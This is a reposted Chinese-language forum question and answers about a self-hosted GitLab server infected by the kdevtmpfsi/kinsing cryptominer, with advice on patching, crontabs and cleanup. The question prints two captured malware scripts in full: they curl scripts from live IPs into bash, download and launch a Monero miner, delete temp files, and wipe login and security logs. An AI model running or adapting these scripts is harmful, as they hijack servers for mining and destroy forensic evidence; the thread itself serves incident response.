我有一個帶有自托管 giltab-ce 的 ubuntu 服務器,兩天前我的服務器開始使用 400% CPU。我的托管服務提供商建議我更新我的 Gitlab(版本 13.6.1),我更新到 13.9。盡管如此,還是有一些行程開始運行,并且使用的 CPU 超過了所有的 CPU。
一開始,我認為這是問題所在(因為托管服務提供商將此鏈接附加到電子郵件中):https : //hackerone.com/reports/1154542
然后我看到行程名稱是kdevtmpfsi并遵循了這個問題的所有答案:kdevtmpfsi using the entire CPU
仍然沒有任何幫助,腳本會在幾個小時后定期一遍又一遍地重新啟動。
在/tmp/.ssh檔案夾中,我找到了一個包含以下內容的 redis.sh 腳本:
while true
do
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 xmr
killall -q -9 qwer
pkill -9 kthreaddk
pkill -9 kwolker
pkill -9 mini
pkill -9 kacpi_notifyd
pkill -9 vim
pkill -9 mym
pkill -9 network
pkill -9 .libs
pkill -9 javase
pkill -9 libexec
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
rm -rf $HOME/postgres
rm -rf $HOME/kvm.sh
rm -rf $HOME/elastic.sh
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
PROC_NAME=/tmp/system
ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
if [ $ProcNumber -le 0 ];then
if hash curl 2>/dev/null;then
curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
else
python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
bash ./static.sh >/dev/null 2>&1 &
fi
break
fi
done
我洗掉了該檔案,創建了一個空白檔案并僅授予讀取權限。
呼叫此行程的用戶是git。我停止了 gitlab 并洗掉了 git 用戶。
你能告訴我下一步該怎么做嗎?我想了解的是創建這些檔案和 cronjobs 的程序。
我正在嘗試一切,但幾個小時后問題又回來了。下次回傳時我應該尋找什么?
編輯:我發現了另一個檔案,我認為它正在下載我粘貼在上面的檔案。
dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 1"
curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
echo "haven't curl 1"
python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
sed -i '/107.191.63.34/'d /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 2"
curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
mkdir /tmp/.ssh
echo "haven't curl 2"
python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh
我洗掉了這個檔案,創建了一個只可讀的同名新檔案。然后我停止了 git 的所有行程,再次洗掉了 git 用戶。重新配置了 gitlab。自從沒有其他攻擊以來,已經有 10 個小時了。
uj5u.com熱心網友回復:
我最近有這個問題。
搜索是否有任何用戶正在執行任何計劃任務。
您可以使用以下命令執行此操作:
for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done
如果你注意到 git 用戶有一個任務,檢查它是什么,如果它是可疑的,洗掉它。
也可以查看git用戶的.bashrc檔案,查看是否有執行dbused命令的行。
uj5u.com熱心網友回復:
我們也遇到了這個問題,請先將您的 GitLab 更新到以下版本之一:
13.10.3
13.9.6
13.8.8
之后,干凈的 crontab 與git用戶連接并洗掉git位于/tmp檔案夾中的用戶擁有的所有檔案。
現在您可以重新啟動服務器,它應該沒問題:)
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/349840.html
上一篇:如何準確驗證SSL證書(CA)?
下一篇:每個用戶“型別”的PHP子檔案夾
